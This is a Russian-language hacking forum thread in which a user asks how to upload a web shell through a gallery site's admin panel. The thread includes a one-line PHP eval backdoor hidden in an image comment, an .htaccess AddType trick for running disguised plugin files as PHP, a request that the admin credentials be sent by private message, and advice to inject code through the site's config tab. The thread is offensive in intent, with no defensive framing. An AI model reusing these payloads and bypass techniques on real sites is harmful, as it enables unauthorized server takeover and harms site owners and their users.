Upload shell кода на сайт

Discussion in 'Песочница' started by SGskam, 18 Feb 2014.

  1. SGskam

    SGskam Banned

    Joined:
    29 Oct 2013
    Messages:
    44
    Likes Received:
    1
    Reputations:
    0
    [​IMG]
    [​IMG]
    [​IMG]
    [​IMG]
    [​IMG]

    Вот вопрос в общем то состоит в загрузке shella на сайт, выше приведены скрины админки на сайте. И при загрузке не разрешается использовать файл с расширением php,тогда я попробовал через gimp прописать комментарий к картинке <?php eval($_GET[cmd]); ?> дабы получить доступ в виде мини шела, после этого я заметил,что даже картинки почему-то не загружаются.Так же можно загружатть плагины и это всё что можно загрузить на сайт. Кто-нибудь помогите разобраться, новичёк в этом деле?
     
  2. Hummer

    Hummer Member

    Joined:
    31 Jul 2012
    Messages:
    43
    Likes Received:
    23
    Reputations:
    5
    Попробуй залить .htaccess c содержымым:
    addtype application/x-httpd-php .(тут расширение плагина без скобок)
    а потом, если .htaccess залился, можно лить что угодно под видом плагинов, если там стоит апач и проверка идет по расширению файла.
    Но вряд ли ты сможешь залить .htaccess если в скрипте указанны только нужные расширения куда htaccess явно не входит.
     
    #2 Hummer, 19 Feb 2014
    Last edited: 19 Feb 2014
  3. SGskam

    SGskam Banned

    Joined:
    29 Oct 2013
    Messages:
    44
    Likes Received:
    1
    Reputations:
    0
    [​IMG]
    Пишет ошибку даже при установке обычного плагина,
    а про другие zip архивы например с .htaccess, пишет что не является плагином
    Плагины идут в zip архиве в виде набора php файлов,
    как я понял зайдя на сайт поддержки http://forum.coppermine-gallery.net/index.php?board=53.0
     
  4. Hummer

    Hummer Member

    Joined:
    31 Jul 2012
    Messages:
    43
    Likes Received:
    23
    Reputations:
    5
    в общем скинь в пм данные админки.
     
    #4 Hummer, 19 Feb 2014
    Last edited: 19 Feb 2014
  5. SGskam

    SGskam Banned

    Joined:
    29 Oct 2013
    Messages:
    44
    Likes Received:
    1
    Reputations:
    0
    Что можно ещё сделать
     
  6. e17

    e17 Member

    Joined:
    8 Feb 2013
    Messages:
    47
    Likes Received:
    57
    Reputations:
    81
    1. выяснить где хранится конфиг.
    2. зайти во вкладку config.
    3. Вписать CE код туда.
     
Loading...
Similar Threads - Upload shell кода
  1. raarkil
    Replies:
    4
    Views:
    6,238
  2. Flashid
    Replies:
    6
    Views:
    3,191